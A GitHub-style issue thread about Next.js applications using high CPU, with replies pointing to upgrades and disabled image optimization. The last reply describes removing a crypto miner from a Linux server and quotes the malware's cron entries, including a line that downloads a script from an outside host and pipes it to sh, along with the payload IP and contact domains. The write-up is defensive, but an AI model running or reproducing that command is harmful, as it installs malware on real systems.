Next js consuming high CPU

[kuldip-dev]

Summary

My next js application is using high CPU even I didn't use ISR or any other package.
The website is based on news and the users are normally 15k to 20k but it was consuming 10 cores earlier but now it is consuming around 40 cores CPU.

I have checked the CPU usage using top command and here is the result for 1 pod.

/app/node_modules/.bin/next this process is taking 265% of VSZ.

Any suggestions to troubleshoot this issue?

@icyJoseph, @leerob other too
Thanks in advance.

[ytianzaishui]

Not only on server by also on client user computer.
You should try the office example or other website dev by next.

1. open activities monitor on you computer。focus on cup

2. open the link： https://app-dir.vercel.app/streaming or other website dev by next may happen.

3. Keep the web active，look back monitor，cup up！but if the windows of this next web play background。cup normal.

[yudiz-kuldip]

Does anyone have any ideas on how to troubleshoot this problem?

[jw-miaem]

started to notice high cpu recently when trying to get bundle size reduced, not sure what is causing it on nextjs 12.3.4 with a few dependencies (react query, theme ui and more) so could be something else

[jw-miaem]

also not using ISR

[jw-miaem]

interesting checked pod

[redimongo]

Any solutions?

[asasvirtuais]

Using codespaces here. It is pretty much making it impossible to code.

[siam88]

Any solutions?

[kuldip-dev]

i've updated next js version 12.2.0 to 13.4.3.
And now it's not consuming high CPU don't know why?

[UjjavalParmar]

Have you found any solution for this?

[Rishipatel25]

@siam88 Have you find any solution?

[siam88]

Not yet but image optimization could be one of the factor

[CaduGomes]

In September, i completely removed image optimization by configuring next.config.js and changing next tag to standard html tag. The problem was solved in my case, CPU spikes stopped

[muharremkackin]

@CaduGomes you are right, I disabled image optimization and it solved

[aiddroid]

Last night, it almost burned my MacBook — how embarrassing!

[bloodykheeng]

---

✅ i had the same problem to on my linode vps where i find cpu usage very high in the midnight but i discovered there was milicious executable running

and using high cpu usage i saw it through htop and it reulted to be a crypto miner

✅ How I Removed a Malicious Crypto Miner on My Linux Server

I recently discovered that my Linux system was compromised by a malicious cryptocurrency mining script. Here's how I diagnosed and resolved the issue:

---

🔎 Step 1: Spotted High CPU Usage with htop

I noticed my server was unusually slow, so I opened htop to check system resource usage:

htop

There I saw suspicious processes using a lot of CPU. I noted the PID (in my case 242116) and terminated it:

kill -9 242116

---

🧪 Step 2: Investigated Cron Jobs

To check for persistent malware, I listed all cron jobs:

ls -la /etc/cron*

I found two suspicious files:

-rw-r--r-- 1 root root 120 May 15 00:00 mdadm
-rw-r--r-- 1 root root  59 May 15 00:00 reboot

---

📂 Step 3: Inspected the Contents

I checked both files to see what they were doing:

cat /etc/cron.d/reboot

@reboot root sleep 60 && cd /root/.local/share && ./vyatta

cat /etc/cron.d/mdadm

0 0 * * * root sh -c "(curl -sk https://fulminare.top || wget --no-check-certificate -qO - https://fulminare.top) | sh"

It was clear mdadm was downloading and executing a script from a remote server every night.

---

🔍 Step 4: Analyzed the Malicious Script

I wanted to see what was being downloaded, so I created a safe test directory:

mkdir /root/test && cd /root/test
curl -sk https://fulminare.top -o malicious_script.txt
nano malicious_script.txt

Upon inspection, the script was indeed malicious.

---

☠️ What the Script Was Doing

• Generated random filenames to disguise itself.

• Killed CPU-intensive processes (to make way for crypto mining).

• Downloaded payloads based on system architecture from http://77.110.110.55:

  • x86_64: /1
  • aarch64: /2
  • amd64: /3 (saved as support)

• Established persistence via:

  • Cron jobs (/etc/cron.d)
  • Udev rules (/etc/udev/rules.d)

• Attempted privilege escalation

• Cleared logs and bash history to hide traces

• Communicated with external IPs, including loop.anondns.net

---

🧹 Step 5: Removed the Malware

I deleted the malicious cron jobs:

rm -f /etc/cron.d/reboot
rm -f /etc/cron.d/mdadm

I also checked and removed malicious udev rules:

rm -f /etc/udev/rules.d/mdadm

NB

im not sure if reboot was really a culprit too cos when i checked on net i saw vyata is a linux networking tool so if its not a culprit dont delete it

Then I manually killed any remaining suspicious processes and checked the /root/.local/share folder for the vyatta binary:

rm -f /root/.local/share/vyatta

---